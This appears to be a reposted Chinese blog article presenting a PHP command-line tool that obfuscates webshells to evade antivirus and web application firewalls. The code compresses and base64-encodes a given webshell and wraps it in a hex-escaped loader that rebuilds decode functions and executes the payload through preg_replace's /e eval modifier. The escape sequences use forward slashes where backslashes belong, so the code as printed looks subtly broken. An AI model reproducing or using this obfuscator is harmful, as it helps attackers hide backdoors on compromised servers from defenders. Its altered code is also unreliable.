|
|
這不是webshell,只是個(gè)webshell免殺工具
切勿當(dāng)初webshell使用
僅限免殺phpwebshell
該工具運(yùn)行在 cli 模式！
如果有無法突破的文件內(nèi)容過濾 可嘗試下用這個(gè)工具 免殺大馬！
任意php webshell 通過此工具編碼之后可以饒過國(guó)內(nèi)一些bt的防火墻
復(fù)制代碼 代碼如下:
<?php
/*
Title: php shell nokill T00L
Blog: exploit-db.blogcn.com
*/
error_reporting(0);
@ini_set('memory_limit','-1');
set_time_limit(0);
$toolname="$argv[0]";
if ($argc<2) {
baner($toolname);
die;
}
$input_file= trim($argv[1]);
$output_file='nokill_'.$input_file;
if (file_exists($input_file)) {
No_kill_c0de($input_file,$output_file);
echo "php shell nokill T00L/r/n";
echo "Blog: exploit-db.blogcn.com/r/n";
echo "Input: {$input_file}/r/n";
$file_full_path=dirname(__FILE__).DIRECTORY_SEPARATOR.$output_file;
echo "[+] Generate success!/r/n";
echo "Saved to {$file_full_path}"."/r/n";
} else {
echo "php shell nokill T00L/r/n";
echo "Blog: exploit-db.blogcn.com/r/n";
die("[-] Failed ! The File $input_file does not exist");
}
function No_kill_c0de($input_file,$output_file){
$no_whitespace=php_strip_whitespace($input_file);
$no_php_tag=trim(trim(trim($no_whitespace,'<?php'),'<?'),'?>');
$enfile=base64_encode(gzdeflate($no_php_tag));
$shellcode="/x3c/x3f/x70/x68/x70/xd/xa";
$shellcode.='$enfile='.'"'."{$enfile}".'"'.';'."/xd/xa";
$shellcode.="/x24/x62/x3d/x73/x74/x72/x5f/x72/x65/x70/x6c/x61/x63/x65/x28/x27/x66/x27/x2c/x22/x22/x2c/x22/x62/x66/x61/x66/x73/x66/x65/x66/x36/x66/x34/x66/x5f/x66/x66/x64/x66/x66/x65/x66/x66/x63/x66/x66/x6f/x66/x66/x64/x66/x66/x65/x66/x22/x29/x3b/xd/xa/x24/x67/x3d/x73/x74/x72/x5f/x72/x65/x70/x6c/x61/x63/x65/x28/x27/x58/x27/x2c/x27/x27/x2c/x27/x67/x58/x58/x7a/x58/x58/x69/x58/x58/x6e/x58/x58/x58/x58/x66/x58/x58/x58/x6c/x58/x58/x61/x58/x58/x58/x74/x58/x58/x58/x58/x58/x65/x27/x29/x3b/xd/xa/x70/x72/x65/x67/x5f/x72/x65/x70/x6c/x61/x63/x65/x28/x27/x5c/x27/x61/x5c/x27/x65/x69/x73/x27/x2c/x27/x65/x27/x2e/x27/x76/x27/x2e/x27/x61/x27/x2e/x27/x6c/x27/x2e/x27/x28/x24/x67/x28/x24/x62/x28/x24/x65/x6e/x66/x69/x6c/x65/x29/x29/x29/x27/x2c/x27/x61/x27/x29/x3b/xd/xa";
$shellcode.="/x3f/x3e";
file_put_contents("$output_file",$shellcode);
}
function baner($toolname){
echo "php shell nokill T00L/r/n";
echo "Blog: exploit-db.blogcn.com/r/n";
echo "Usage: {$toolname} phpwebshell/r/n";
}
?>
php技術(shù)：php shell超強(qiáng)免殺、減少體積工具實(shí)現(xiàn)代碼，轉(zhuǎn)載需保留來源！
鄭重聲明：本文版權(quán)歸原作者所有，轉(zhuǎn)載文章僅為傳播更多信息之目的，如作者信息標(biāo)記有誤，請(qǐng)第一時(shí)間聯(lián)系我們修改或刪除，多謝。
